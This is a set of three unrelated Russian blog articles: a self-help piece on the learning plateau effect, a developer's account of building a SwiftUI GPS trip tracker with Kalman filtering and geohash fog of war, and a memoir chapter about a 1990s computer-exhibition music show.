Если вы узнали в этом себя — выдохните. С вашим интеллектом всё в полном порядке.

То, с чем вы столкнулись — это не внезапная деградация и не признак того, что вы достигли предела своих возможностей. У этого мерзкого состояния есть вполне официальное название: Эффект плато.

Говоря простым языком, это неизбежный этап любого обучения, когда вы продолжаете вкладывать время и силы, но видимый результат застывает на мертвой точке. График вашего прогресса, который еще вчера бодро полз вверх, вдруг превращается в плоскую, унылую равнину.

Но вот в чем главный парадокс, о котором нужно помнить: попадание на плато — это отличная новость. Это не бетонная стена, в которую вы врезались из-за нехватки ума. Это прямое доказательство того, что вы успешно прошли «конфетно-букетный» период новичка и перешли на новый, по-настоящему сложный уровень. Прямо сейчас вы не тупеете — ваш мозг просто взял техническую паузу, чтобы переварить накопленное и выстроить новые нейронные связи.

В этой статье мы разберем, почему кривая нашего обучения никогда не бывает прямой, как Эффект плато обманывает нашу психику, и, главное, какие конкретные шаги помогут пробить этот невидимый потолок.

Кстати, о потолках: если вы хотите копнуть глубже и раз и навсегда разобраться, как системно подходить к получению любых навыков, чтобы не бросать на полпути, загляните на мой бесплатный курс на Stepik — «Учись учиться (Метаобучение): Стратегии освоения сложных тем». Там мы детально разбираем, как обходить ловушки мозга и делать процесс обучения по-настоящему эффективным.

Ну а пока — давайте препарируем сам Эффект плато и поймем, что делать с ним прямо сейчас.

2. Анатомия Эффекта Плато: Почему кривая обучения не бывает прямой

Нам со школы незаметно внушают одну коварную иллюзию: обучение — это линейный процесс. Кажется логичным, что если ты потратишь два часа, то станешь в два раза умнее, чем если бы потратил один. Мы ожидаем, что наш прогресс будет выглядеть как ровная диагональ, стремящаяся в бесконечность.

Но в реальности, если нарисовать график того, как мы осваиваем любой новый навык, он не будет похож на прямую линию.

Это, скорее, неровная лестница с очень длинными, плоскими площадками. И чтобы понять, почему мы на них застреваем, нужно заглянуть «под капот» нашего мозга.

Весь процесс можно разделить на три ключевых этапа:

Этап 1: Радость новичка (или Эффект низкой базы) Когда вы беретесь за что-то с абсолютного нуля, любое новое знание дает колоссальный прирост. Выучили алфавит — уже можете читать вывески. Запомнили три аккорда — уже можете сыграть десяток песен. Это сбор самых «низковисящих яблок». Мозг в восторге от таких быстрых и легких побед, он щедро заливает вас дофамином (гормоном вознаграждения), и вам кажется, что вы — гений, а обучение всегда будет таким же драйвовым.
Этап 2: Столкновение со стеной (Смена правил игры) Спустя пару недель или месяцев низковисящие яблоки заканчиваются. Чтобы двигаться дальше, теперь нужно лезть на дерево. На этом этапе характер обучения радикально меняется: вам больше не нужно просто запоминать изолированные факты (слова, формулы, кнопки в программе). Теперь вам нужно научиться их комбинировать. Одно дело — знать перевод 50 слов, и совсем другое — на лету составить из них грамматически правильное предложение в разговоре с иностранцем. Скорость прогресса резко падает, потому что задача стала на порядок сложнее.
Этап 3: Когнитивная перегрузка (Та самая скрытая работа мозга) Именно здесь наступает Эффект плато. Внешне кажется, что прогресс остановился. Вы учите, учите, а ничего не меняется. Но внутри вашей головы прямо сейчас идет тяжелейшая стройка. Мозг переносит разрозненные знания из кратковременной памяти в долговременную. Он физически выстраивает новые, более плотные нейронные связи, чтобы автоматизировать навык. Это как дефрагментация жесткого диска или установка тяжелого обновления: в этот момент «система» может зависать и тормозить. Мозг просто не способен одновременно усваивать огромные объемы новой информации и структурировать старую. Ему нужна пауза.

Итог этой анатомии прост: плато — это не сбой в системе и не ваша личная глупость. Это период консолидации. Вы не стоите на месте, вы пускаете корни, чтобы фундамент ваших знаний стал достаточно крепким для следующего рывка вверх.

3. Как плато убивает мотивацию (Психологическая ловушка)

Если физиологически плато — это просто нормальная техническая пауза мозга, то психологически — это настоящая мясорубка для нашей самооценки.

Остановка прогресса ощущается не как этап роста, а как личный провал. Почему именно на этой стадии сдается подавляющее большинство людей? Всё дело в нескольких когнитивных ловушках, в которые мы проваливаемся одна за другой.

Дофаминовая яма (Где моя награда?) Наш мозг дрессирует сам себя с помощью дофамина — гормона предвкушения и вознаграждения. В начале пути всё работало как часы: вы сделали усилие — получили видимый результат — мозг впрыснул дофамин («Я молодец!»). На плато этот автомат со сладостями ломается. Вы продолжаете закидывать в него монетки (свое время и силы), дергаете за рычаг, а шоколадка не падает. Мозг не получает награды за тяжелую работу, и его естественная реакция — включить режим энергосбережения: «Шеф, это невыгодная сделка, сворачиваем лавочку». Наступает апатия.
Самобичевание и синдром самозванца Вместо того чтобы сказать себе: «Ого, мой мозг сейчас занят сложнейшим процессом формирования нейронных связей», мы переходим на личности. Нам кажется, что проблема не в объективном процессе обучения, а в нас самих. Всплывают старые школьные комплексы: «У меня гуманитарный склад ума, куда я полез в код», «Мне медведь на ухо наступил» или то самое «Я просто тупой». Мы начинаем искренне верить, что достигли своего биологического потолка.
Токсичное сравнение и «ошибка выжившего» Плато становится невыносимым, когда вы открываете соцсети. В вашей ленте кто-то уже через месяц говорит на испанском, запускает стартап или рисует шедевры. Нам кажется, что все вокруг летят на ракете, пока мы едем на квадратных колесах. Но это типичная ошибка выжившего: люди выкладывают в интернет только свои прорывы и конечные результаты (ту самую «радость новичка» или итоговый триумф). Никто не снимает сторис о том, как он третью неделю тупо смотрит в монитор, пытаясь понять, почему не работает одна строчка кода. Мы сравниваем свое закулисье с чужой парадной витриной.
Смертельная ошибка: попытка пробить стену лбом (Риск выгорания) Что делает человек, когда чувствует, что отстает и тупеет? Он начинает злиться на себя и удваивать усилия. Вы решаете сидеть за учебником не час, а три. Вы лишаете себя отдыха, заставляя мозг впитывать информацию насильно. Но вспомните предыдущий пункт: ваша «оперативная память» сейчас переполнена! Пытаться впихнуть в себя новые знания на плато — это как заливать бензин в уже полный бак: он просто польется через край. В итоге вы не получаете знаний, зато зарабатываете нервный срыв, полное выгорание и стойкое отвращение к тому, что еще недавно так любили.

Плато убеждает нас в том, что мы проиграли. Но это всего лишь иллюзия, сбой в матрице нашего восприятия. Главное правило на этом этапе — не верить своим эмоциям. А вот что именно нужно делать, чтобы сдвинуться с мертвой точки, разберем дальше.

4. Инструкция по прорыву: Как сдвинуться с мертвой точки

Итак, вы осознали, что находитесь на плато. Вы не сломались, вы не поглупели, просто старые методы перестали работать. Чтобы перезапустить процесс и снова увидеть прогресс, нужно перестать биться головой в закрытую дверь и попробовать открыть ее иначе.

Вот пять практических шагов, которые помогут вывести мозг из ступора.

Шаг 1. Радикальное принятие и отдых (Да, просто отстаньте от себя) Первое, что нужно сделать — легализовать свой застой. Скажите себе вслух: «Я на плато, это нормально, прямо сейчас мой мозг укладывает знания по полочкам». А затем сделайте то, что кажется самым нелогичным: остановитесь. Возьмите паузу на несколько дней или даже на неделю. Без чувства вины, без мыслей об упущенном времени. Запомните: отдых в обучении — это не отсутствие работы, это время, когда происходит консолидация памяти. Часто после хорошего отпуска или просто выходных без зубрежки сложная тема, над которой вы бились неделями, вдруг становится кристально понятной.

Шаг 2. Смена угла атаки (Латеральное обучение) Если вы долго идете по одной дороге и упираетесь в стену, попробуйте свернуть вбок. Часто мы застреваем не потому, что тема слишком сложная, а потому, что нам не подходит текущий формат ее подачи.

Не понимаете главу в учебнике? Закройте его и найдите объяснение этой темы на YouTube на пальцах.
Застряли в теории? Бросьте ее и попробуйте сделать что-то руками на практике, пусть даже криво.
Устали от своего преподавателя или курса? Послушайте лекцию другого специалиста. Смена контекста дает мозгу новую зацепку, свежий взгляд на проблему, который может стать тем самым недостающим кусочком пазла.

Шаг 3. Декомпозиция и возврат микро-побед Вам нужно срочно починить ваш «дофаминовый автомат», который перестал выдавать награду. Глобальная цель («свободно говорить на английском» или «стать senior-разработчиком») сейчас кажется недостижимой, и это убивает мотивацию. Разбейте задачу на микро-цели, которые можно выполнить за один вечер. Не «выучить времена глаголов», а «научиться рассказывать о том, что я ел на завтрак». Не «написать приложение», а «сделать так, чтобы при нажатии на эту кнопку менялся цвет экрана». Выполнили — похвалили себя. Эти маленькие дофаминовые всплески вернут вам ощущение контроля и веру в свои силы.

Шаг 4. Поиск «слепых зон» через обратную связь Иногда плато возникает потому, что мы раз за разом повторяем одну и ту же неочевидную ошибку. Наш мозг ее автоматизировал и теперь считает нормой. Вы можете месяцами топтаться на месте, пытаясь понять, что не так. Вам нужен взгляд со стороны. Покажите свой код более опытному программисту, сходите на разовую консультацию к репетитору, попросите тренера посмотреть на вашу технику выполнения упражнения. Одно точное замечание ментора способно сэкономить вам недели бесплодных попыток.

Шаг 5. Искусственное усложнение (Вызов самому себе) Парадокс, но иногда мы застреваем на плато просто потому, что нам стало скучно. Мозг привык к рутине, перешел в энергосберегающий режим автопилота и отказывается напрягаться. Встряхните его искусственным стрессом! Попробуйте применить свои навыки в непривычных условиях:

Сделайте привычную задачу, но поставьте жесткий таймер.
Запишитесь на любительские соревнования или хакатон.
Попробуйте объяснить тему, которую сейчас изучаете, человеку, который в ней вообще ничего не смыслит (метод Фейнмана). Когда вы ставите себя в условия легкого стресса или публичности, мозг мгновенно мобилизует все скрытые резервы, пробивая потолок стагнации.

5. Заключение: Плато — это ваш фундамент

Давайте навсегда изменим то, как мы смотрим на процесс обучения. Забудьте про ровную, красивую диагональ успеха из модных презентаций. Настоящее освоение любого навыка больше всего похоже на подъем по очень длинной и крутой лестнице.

Эффект плато в этой метафоре — это не глухая стена, в которую вы врезались, и не замок на двери. Это просто лестничная площадка между пролетами. Вы преодолели первый крутой подъем, ваши «когнитивные мышцы» горят, пульс зашкаливает. Вам жизненно необходимо остановиться, чтобы отдышаться, оглядеться и закрепить результат перед тем, как штурмовать следующий этаж. Если вы попытаетесь бежать по лестнице без остановок — вы просто рухнете без сил.

Именно на плато закладывается ваш реальный фундамент. Быстрые старты и легкие победы новичка — это приятно, но они не делают из вас профессионала. Истинное мастерство выковывается именно в моменты этих долгих, внешне неэффектных застоев. Вы учитесь не сдаваться, когда пропадает внешняя мотивация, а мозг в тишине и без аплодисментов делает самую сложную работу — меняет собственную архитектуру.

Поэтому в следующий раз, когда вы будете сидеть над задачей и в голове снова всплывет та самая липкая мысль: «Я просто тупой, это не мое», — поймайте ее и улыбнитесь. Поприветствуйте это чувство.

Анонсы новых статей, полезные материалы, а так же если в процессе у вас возникнут сложности, обсудить их или задать вопрос по этой статье можно в моём Telegram-сообществе. Смело заходите, если что-то пойдет не так, — постараемся разобраться вместе.

Ведь оно означает только одно: прямо сейчас вы делаете по-настоящему сложную работу. Вы не поглупели и не остановились. Вы находитесь за секунду до качественного скачка на новый уровень. Выдохните, дайте себе отдохнуть — и продолжайте путь, когда будете готовы.

Фильтр Калмана, geohash fog of war и три реджекта Apple: как я собрал GPS-трекер на SwiftUI

OneZee — Sat, 18 Apr 2026 05:40:56 +0000

В 2024 году Google тихо убил Timeline в Google Maps. Историю местоположений перевели в «локальный режим», который на практике работает через раз – данные теряются, синхронизации нет, а у многих просто исчезли годы накопленной истории.

Для меня это было важно: я много езжу на машине и хотел знать простую вещь – сколько конкретная поездка стоит в бензине. Не средний расход за месяц по бортовику, а вот этот маршрут – сколько литров, сколько рублей. Ничего подходящего не нашёл и решил написать сам.

Контекст: я бэкенд-разработчик, до этого проекта не написал ни строчки на Swift. iOS для меня был чёрным ящиком – CoreLocation, MapKit, жизненный цикл приложения, фоновые режимы, App Store Review. Идея жила в голове три года, но подступиться не мог: казалось, что одному, без мобильного опыта, это неподъёмно. Сдвинулось всё, когда я начал работать с AI-агентами (Claude + Cursor) – но об этом ближе к концу.

Под катом (дальше) – про фоновый GPS-трекинг на iOS, фильтр Калмана без IMU, fog of war на geohash, кастомный рендеринг маршрутов, грабли App Store Review и про то, как бэкендер собрал iOS-приложение за месяц вечерами после работы.

маршрут на карте, окрашенный по скорости

Задача и ограничения

Нужен GPS-трекер для автомобильных поездок: нажал старт, убрал телефон, поехал. Приложение пишет трек в фоне, после поездки показывает маршрут, считает расход и стоимость. Всё офлайн, без серверов.

Ограничения:

iOS-only – один разработчик, ограниченное время
Нулевой опыт в iOS – бэкенд на основной работе, Swift вижу первый раз
Вечера и выходные – полноценная пятидневка днём, проект только после работы
iOS 17+ – осознанный выбор, потому что Map с MapPolyline в SwiftUI появился именно в 17-й версии. Альтернатива – оборачивать MKMapView через UIViewRepresentable, но это отдельный слой боли с координацией состояния
Без сторонних зависимостей – только системные фреймворки: CoreLocation, MapKit, CoreData, ActivityKit
Фоновая работа без убийства батареи – главный технический вызов

CoreLocation: фоновый трекинг

Основа – CLLocationManager с allowsBackgroundLocationUpdates = true. iOS позволяет получать координаты в фоне, но с условиями: нужен entitlement location в Background Modes, и описание зачем приложению Always-доступ к геолокации в Info.plist.

Первая версия писала каждую точку от CLLocationManager. За часовую поездку – тысячи координат, база раздувалась, отрисовка маршрута тормозила. Решение – фильтрация на входе:

desiredAccuracy = kCLLocationAccuracyBest – максимальная точность (GPS, не Wi-Fi/сотовые вышки)
distanceFilter = 10 – игнорировать обновления, если сместился меньше чем на 10 метров
Дополнительно: отбрасываем точки с horizontalAccuracy > 50 – это шум

После фильтрации средняя поездка – 200–500 точек. За 60+ поездок база занимает ~15 МБ.

Проблема: GPS-глушение

На трассе Краснодар – Геленджик есть участки, где GPS пропадает на 10–30 секунд. Навигатор показывает что ты едешь по полю. На карте – прямая линия через лес.

В automotive-навигаторах эту проблему решают sensor fusion: GPS + акселерометр + гироскоп. Но на iOS в фоновом режиме CMMotionManager недоступен – система не даёт читать IMU когда приложение не на экране.

Остаётся фильтр Калмана на чистом GPS – без инерциальных данных, только координаты и их точность.

func processLocation(_ location: CLLocation) -> CLLocation {
    guard let previous = lastFilteredLocation else {
        lastFilteredLocation = location
        return location
    }

    let dt = location.timestamp.timeIntervalSince(previous.timestamp)

    // Prediction step: uncertainty grows with time
    let processNoise = dt * speedVariance
    predictedVariance += processNoise

    // Update step: blend prediction with measurement
    let measurementVariance = location.horizontalAccuracy * location.horizontalAccuracy
    let kalmanGain = predictedVariance / (predictedVariance + measurementVariance)

    let lat = previous.coordinate.latitude
        + kalmanGain * (location.coordinate.latitude - previous.coordinate.latitude)
    let lon = previous.coordinate.longitude
        + kalmanGain * (location.coordinate.longitude - previous.coordinate.longitude)

    predictedVariance = (1 - kalmanGain) * predictedVariance

    let filtered = CLLocation(
        coordinate: CLLocationCoordinate2D(latitude: lat, longitude: lon),
        altitude: location.altitude,
        horizontalAccuracy: sqrt(predictedVariance),
        verticalAccuracy: location.verticalAccuracy,
        timestamp: location.timestamp
    )
    lastFilteredLocation = filtered
    return filtered
}

Идея: если horizontalAccuracy у новой точки большая (GPS неуверен) – kalmanGain маленький и мы больше доверяем предыдущей позиции. Если точность хорошая – больше доверяем измерению.

Это работает для коротких пробелов (до ~10 секунд на скорости 80–100 км/ч). Для длинных дыр – пост-обработка после завершения поездки: интерполяция кубическими сплайнами между последней надёжной точкой перед провалом и первой после.

Рендеринг маршрута по скорости

Маршрут на карте окрашивается по скорости в каждой точке:

Зелёный: < 50 км/ч (город, парковка)
Жёлтый: 50–90 км/ч (городские магистрали)
Оранжевый: 90–110 км/ч (трасса)
Красный: > 110 км/ч

В SwiftUI (iOS 17+) для этого есть MapPolyline, но один MapPolyline – один цвет. Маршрут из 300 точек с меняющейся скоростью – это не один полилайн, а массив сегментов.

Решение: разбиваем массив координат на сегменты с одинаковым цветом. Каждый сегмент – отдельный MapPolyline с .stroke нужного цвета. Соседние сегменты перекрываются на одну точку, чтобы не было разрывов.

struct SpeedSegment {
    let coordinates: [CLLocationCoordinate2D]
    let color: Color
}

func buildSegments(from points: [LocationPoint]) -> [SpeedSegment] {
    var segments: [SpeedSegment] = []
    var currentCoords: [CLLocationCoordinate2D] = []
    var currentColor: Color = .green

    for point in points {
        let color = speedColor(for: point.speed)
        if color != currentColor && !currentCoords.isEmpty {
            segments.append(SpeedSegment(
                coordinates: currentCoords,
                color: currentColor
            ))
            // Overlap: last point of prev segment = first of next
            currentCoords = [currentCoords.last!]
        }
        currentCoords.append(point.coordinate)
        currentColor = color
    }

    if !currentCoords.isEmpty {
        segments.append(SpeedSegment(
            coordinates: currentCoords,
            color: currentColor
        ))
    }
    return segments
}

На карте 20–50 полилайнов вместо одного. По производительности – нормально, MapKit справляется. При 500+ точках начинает быть заметно на старых устройствах, но для типичной поездки достаточно.

Fog of war на geohash

Карта закрыта полупрозрачным оверлеем, который рассеивается там, где проехал – как fog of war в стратегиях. Технически это самая интересная часть.

Почему geohash

Нужна структура данных, которая отвечает на вопрос «проезжал ли я через эту область?» для произвольной точки на карте. Варианты:

Хранить все GPS-точки и проверять расстояние – O(n) на каждый запрос, не масштабируется
Quadtree – хорошо, но сложно сериализовать в CoreData
Geohash – строка фиксированной длины, кодирующая прямоугольную область. Сравнение – простой prefix match. Хранение – Set<String>. Сериализация тривиальная

Geohash кодирует координату в строку вида sczg4p. Длина строки определяет точность:

Precision	Размер ячейки	Применение
5	~4.9 × 4.9 км	Обзор страны
6	~1.2 × 0.6 км	Обзор города
7	~150 × 150 м	Детальный вид

Алгоритм кодирования – чередующееся бинарное деление по долготе и широте:

func encode(latitude: Double, longitude: Double, precision: Int) -> String {
    let base32 = Array("0123456789bcdefghjkmnpqrstuvwxyz")
    var latRange = (-90.0, 90.0)
    var lonRange = (-180.0, 180.0)
    var isEven = true
    var bit = 0
    var ch = 0
    var hash = ""

    while hash.count < precision {
        if isEven {
            let mid = (lonRange.0 + lonRange.1) / 2
            if longitude >= mid {
                ch |= (1 << (4 - bit))
                lonRange.0 = mid
            } else {
                lonRange.1 = mid
            }
        } else {
            let mid = (latRange.0 + latRange.1) / 2
            if latitude >= mid {
                ch |= (1 << (4 - bit))
                latRange.0 = mid
            } else {
                latRange.1 = mid
            }
        }
        isEven.toggle()
        bit += 1
        if bit == 5 {
            hash.append(base32[ch])
            bit = 0
            ch = 0
        }
    }
    return hash
}

Отрисовка тумана

При каждом обновлении видимой области карты:

Вычисляем geohash-ячейки, попадающие в видимую область
Для каждой ячейки проверяем – есть ли она в Set<String> посещённых
Непосещённые ячейки закрываем полупрозрачным MKPolygon

На низком зуме (вся страна) это precision 5 – десятки ячеек. На высоком зуме (улица) – precision 7, сотни ячеек. Переключение precision происходит по порогу MKCoordinateSpan.

Анимация рассеивания

Во время записи поездки, когда водитель проезжает через новую ячейку – туман рассеивается с анимацией 0.7 секунды easeOut. Реализовано через withAnimation на opacity оверлея конкретной ячейки. Визуально приятно – видно как карта «открывается» в реальном времени.

Текущие ограничения

Geohash-ячейки прямоугольные – границы тумана выглядят «пиксельно», как в играх 90-х. В бэклоге – переход на градиентный рендеринг с размытием краёв, чтобы туман выглядел плавно. Если кто-то реализовывал подобное на MapKit – буду рад обсудить подходы.

Live Activity: зачем и как

Без визуального индикатора записи я регулярно забывал остановить трекинг. Телефон записывал GPS всю ночь, утром батарея на нуле. Live Activity на экране блокировки решает проблему – видно что запись идёт, даже когда телефон в кармане.

ActivityKit API:

// Запуск
let attributes = TripActivityAttributes(carName: "Polo Sedan")
let state = TripActivityAttributes.ContentState(
    speed: 0,
    distance: 0,
    duration: 0
)
let activity = try Activity.request(
    attributes: attributes,
    content: .init(state: state, staleDate: nil)
)

// Обновление (каждую секунду из CLLocationManager delegate)
let updatedState = TripActivityAttributes.ContentState(
    speed: currentSpeed,
    distance: totalDistance,
    duration: elapsedTime
)
await activity.update(.init(state: updatedState, staleDate: nil))

Нюанс: iOS ограничивает частоту обновлений Live Activity – примерно раз в секунду, чаще бесполезно. Для спидометра достаточно.

Хранение данных: CoreData

Схема простая:

TripEntity (1) ──── (*) LocationPointEntity
    │
    ├── startDate: Date
    ├── endDate: Date
    ├── distance: Double
    ├── maxSpeed: Double
    ├── avgSpeed: Double
    └── fuelCost: Double

LocationPointEntity
    ├── latitude: Double
    ├── longitude: Double
    ├── speed: Double
    ├── altitude: Double
    ├── timestamp: Date
    └── horizontalAccuracy: Double

Fog of war хранится отдельно: ExploredCellEntity с единственным полем geohash: String и уникальным индексом. При записи новой точки – вычисляем geohash нужных precision и вставляем в базу (с NSMergeByPropertyObjectTrumpMergePolicy чтобы дубли игнорировались).

Средняя поездка – 200–500 LocationPointEntity. За 60+ поездок суммарно ~15 МБ. CoreData с SQLite справляется без проблем.

Три реджекта Apple

Приложение отклоняли три раза перед одобрением. Каждый – про UX и локализацию, не про функциональность.

Реджект 1: «Кнопка старта не работает». Я сделал long-press 0.4 сек на кнопке записи, чтобы случайно не начать трекинг в кармане. Ревьюер тапнул – ничего не произошло – rejected. В описании кнопки ничего про long-press не было. Заменил на slide to start – и UX лучше, и ревьюеру понятно.

Реджект 2: «Цель геолокации слишком общая». В NSLocationAlwaysUsageDescription было что-то вроде «для записи маршрута». Apple хочет конкретнее: что именно записывается, зачем нужен Always-доступ (а не When In Use), как пользователь может это контролировать.

Реджект 3: русский текст в системном алерте. Захардкодил NSLocationAlwaysUsageDescription на русском. У ревьюера iPhone на английском – он видит нелокализованный кириллический текст в системном диалоге. Решение: InfoPlist.strings с локализацией.

Практическое наблюдение (не гарантия Apple): после реджекта я отменял текущее ревью через Resolution Center и отправлял новую сборку с нуля. Ответ приходил за 2–5 часов вместо обычных нескольких дней. Возможно, отменённые ревью попадают в приоритетную очередь – а может просто повезло.

## Как бэкендер собрал iOS-приложение: AI как второй разработчик

Три года я откладывал этот проект, потому что ждал «нормальную команду» – iOS-разработчика, дизайнера. Команда не появилась.

Сдвинулось, когда я попробовал работать с AI-агентами: Claude Code в терминале и Cursor в IDE. Не «попросил AI написать приложение» – это так не работает. Скорее, AI стал вторым разработчиком, который знает Swift лучше меня, но которому нужно объяснять контекст и проверять результат.

Как это выглядело на практике:

Где AI реально ускорил. Бойлерплейт SwiftUI – экраны, навигация, модели данных. Для бэкендера, который не знает разницу между @State и @StateObject, это критично: AI генерирует рабочий каркас, я разбираюсь что он написал и почему. CoreData schema, Info.plist entitlements, ActivityKit boilerplate – всё то, что нужно знать «как правильно», но невозможно нагуглить за разумное время если ты не в экосистеме.

Где AI бесполезен. GPS-трекинг в фоне, работа с батареей, edge cases реальных поездок – тут нужно тестировать на устройстве, в машине, на реальной трассе. AI не знает, что на M4 между Горячим Ключом и Джубгой глушат GPS. Фильтр Калмана я отдавал агенту трижды – каждый раз получал математически корректный, но практически бесполезный результат. Сел и написал сам, по конкретным данным с конкретных поездок.

Продуктовые решения. Что показывать на экране записи, как группировать поездки, какой precision у geohash на каком зуме – AI может предложить варианты, но решение всегда за мной. Он не знает, что мне важнее видеть стоимость бензина, а не среднюю скорость.

По времени: от первого коммита до App Store – месяц вечерами. Без AI-агентов, с моим нулевым знанием Swift – это был бы год, если бы вообще дошёл до релиза. С ними – я не стал iOS-разработчиком, но смог собрать конкретный продукт, который сам использую каждый день.

Стоимость: Claude ~$120/мес (но это и рабочие задачи, грубо половина на проект).

Открытый код

Репозиторий

Решение открыть код было прагматичным: приложение работает с геолокацией 24/7 – люди имеют право видеть, что оно делает с их данными. Плюс когда код публичный – стыдно коммитить костыли.

Swift, SwiftUI, ноль сторонних зависимостей. Если кому интересно покопаться в реализации geohash fog of war или фильтра Калмана для GPS – welcome.

Что дальше

Основные задачи в бэклоге:

Автостарт/автостоп – определять начало и конец поездки по данным с акселерометра (когда приложение на переднем плане) или по значительным изменениям геолокации (startMonitoringSignificantLocationChanges)
Экспорт в GPX/JSON – чтобы данные не были заложником одного приложения
Градиентный fog of war – уйти от прямоугольных geohash-ячеек к размытию краёв
CarPlay – виджет на экране мультимедиа автомобиля

Если есть вопросы по реализации – пишите в комментариях или в issues на GitHub.

Приложение в App Store

Исходный код на GitHub

Как мы продавали компьютеры в 90-х. Шоу в нужную сторону

HappyTalkie — Sat, 18 Apr 2026 02:45:43 +0000

Главы из повести.Начало: [#01. Начало бизнеса], [#02. Кидалово], [#03. Тома, Наташа и Маша], [#04. Колбасный авиатор], [#05. Бизнес и платёжка] [#06. Доктор Джао] [ #07 Зефиры ] [ #08. Конфликты и контакты ] [ #09. Шум в нужную сторону ]

Шоу в нужную сторону

К приходу Антона мы уже установили в компьютер плату Gravis Ultrasound Max и подключили миди-клавиатуру Roland А-33. Антон в редакторе прописывал отдельные партии разных инструментов – бас-гитары, скрипок, ударных, я помогал разобраться в интерфейсе и настройках программ.
После истории с Доктором Джао – мы могли ВСЁ!

Это было чистое волшебство – Антон сидел один за клавишами и играл партию соло, на экране – нотный стан и на нём появляются ноты! Можно было уже на прописанном треке поменять инструмент, дописать или отредактировать ноты, их длительность, можно было транспонировать – это было запредельное удовольствие!

Gravis Ultrasound Max и окно редактора Midisoft Recording Session. Можно было выбирать трек, назначать ему инструмент, устанавливать ему громкость, эффекты, стереопанораму.

Постепенно запуская остальные инструменты, Антон создавал объёмное звучание, дополнял партии одних инструментов другими. Или запускал треки аккомпанемента и вступал в развитии темы.

Тогда был популярен фильм «Перекрёсток» – с совершенно роскошной дуэлью двух гитаристов, с совершенно умопомрачительными Стивом Вэем и Ральфом Маккио.

Дуэль гитаристов - одна из самых красочных сцен кинематографа.

И мы придумали джем Антона с Антоном – он сперва записывал одну партию с одним инструментом, мы сохраняли трек, Антон его запускал и импровизировал живьём с этой записью – уже голосом другого инструмента. Одним из инструментов был орган классический, второй – великий Hammond (эти подробности – для понимающих). Процессор и миди-библиотека воспроизводили оба органа невероятно достоверно, у Антона – довольно спокойного парня – был совершенно детский восторг. О таких возможностях тогда можно было прочесть в литературе о передовых технологиях – и вот он создаёт оркестр!

Звуковая карта Gravis Ultrasound Max обладала невероятным звучанием, те, кто хоть раз её слышал – до сих пор вспоминают её до сих пор. Мы запускали аудиотреки – и все замирали внутри кристальной чистоты и прозрачности звука, несколько раз запускали стрелялки-бродилки – и все знатоки игр отмечали – плата создавала абсолютно реалистичное присутствие, слышно было даже тех врагов, которые подкрадывались сзади. Сам я к играм был равнодушен и просто наблюдал, сидя рядом – и холодок от мощного, тихого, басового «присутствия» неведомой угрозы за спиной – ощущал живьём. Карта точнейше воспроизводила звуччание инструментов и была настоящим шедевром для самых замороченных аудиофилов.

Миди-клавиатура Roland А-33 заслуживает отдельной песни о том восторге, который она вызывала у музыкантов – «тяжёлые» клавиши, питч, педали, интерфейс с компьютером – это всё было за пределами фантастики того времени.

Его Величество Roland A-33, инструмент, парализовывавший волю и тех, кто хотел на нём играть, и тех, кто хотел его слушать.

Через несколько дней мы начали уже совместные репетиции с Ольгой и Сашей – и это уже звучало здорово!

Увлекаясь, мы постепенно выкручивали громкость и к нам в изумлении заглядывали оставшиеся в офисе:
- Это у нас теперь всегда так будет? – радостно спрашивали они.

И если, ещё только обсуждая идею с устроителями выставки, я страшно переживал – ведь всё было абсолютно новое, неизвестное, никто ещё не пробовал – ни я, ни Антон, ни Оля с Сашей – так плотно взаимодействовать с компьютером, а я ещё не был уверен – насколько хорошо разберёмся с музыкальным редактором, то теперь было ясно – всё должно получиться!

Всё это время я мучительно жалел – почему в детстве я не записался в музыкальную школу?
Собственно, понятно почему – я был обычный алма-атинский пацан и ненавидел одноклассниц, которых отпускали с любых субботников и сборов макулатуры, стоило им только сказать:
- А у нас сегодня сольфеджио...
В те времена это было слишком по-девчачьи – музыкалка, сольфеджио...
Конечно же, ни на какие инструменты с гаммами меня бы никто не смог затащить.

Зато я придумывал музыкальные номера, напевал Антону и Саше, как должны были звучать партии их инструментов, это был мой первый опыт режиссуры.

До кучи я созвонился с театром, которому я помогал с компьютерами (это будет отдельная хорошая и поучительная история в ближайшее время):
- Есть ли у вас какие-то костюмы, которые не используются в спектаклях и которые можно взять на вечер?
- Да, у нас есть склад костюмов со спектаклей, которые уже сняты с репертуара, заходи, подберём.

В итоге Антону достался строгий костюм мага с цилиндром – и выглядел он в нём сногсшибательно ипозантно, Оле – шикарное платье со широкополой шляпой – для сцены она теперь была Матильда Нокли. А для Саши я нашёл костюм гусара – белый, расшитый золотом – в анонсе концерта и на афише (мы нарисовали афишу!) он был Капитан Пеппер. Да,тот самый сержант, который с момента выхода знаменитого альбома дослужился до капитана.

И вот, настал день закрытия выставки. Мы установили наше оборудование, музыканты настроили со звукорежиссёром звучание инструментов, я обсудил со световиком схемы освещения и... осталось около часа до концерта, я решил пройтись по самой выставке и вышел в холл. Он был плотно набит посетителями.

- А как это будет происходить? – тут же спросил меня один из них.
- О чём вы?
- Тут везде написано – вы будете мультимедиа-шоу какое-то проводить? – он показал мне буклет выставки, в центре – объявление нашего мероприятия.
Вокруг меня тут же собралась толпа с такими же вопросами.
- А, да, точно. Приходите, увидите.

Посмотреть выставку толком не удалось – диалог постоянно повторялся, самое потрясающее – меня с огромным любопытством спрашивали даже стоявшие за стендами сотрудники конкурирующих фирм!

Самого концерта я не помню – это было моё первое публичное выступление, я ни разу не слышал свой голос через микрофон, мне нужно было рассказывать о профессиональной технике самым доступным для зрителей языком.

К слову, это было моё первое выступление ещё в одной роли!
В какой-то момент репетиции я спросил Антона:
- А ведь на концертах показывают – пианист пальцем по всей клавиатуре проводит, как это можно нам в номер воткнуть?
- Глиссандо? Зачем?
- Зрители могут думать – мы им фонограмму выкатили. А тут я подхожу к тебе во время игры – и глиссандо! – мне понравилось слово.
- А, так это в до-мажоре, вот здесь можно...

Мы отрепетировали и на концерте это было лихо! Поэтому полноправно засчитываю себе этот момент как дебют в качестве пианиста.

Для шоу мы подготовили несколько популярных песен – баллады, рок-н-роллы, инструментальные пьесы и сейшны - между Сашей и двумя Антонами – это был завершающий номер, это был улёт, это был - ЛОМ! это был настоящий ЛОМ!

Немного контекста.
Середина 90-х, компьютер – это пришелец из другой Вселенной.
Мультимедиа – это само по себе было очевидное-невероятное.
А компьютерное звучание – это самый фантастический, самый передовой жанр: Жан-Мишель Жарр, Крафтверк и Спейс. Нечто запредельное.

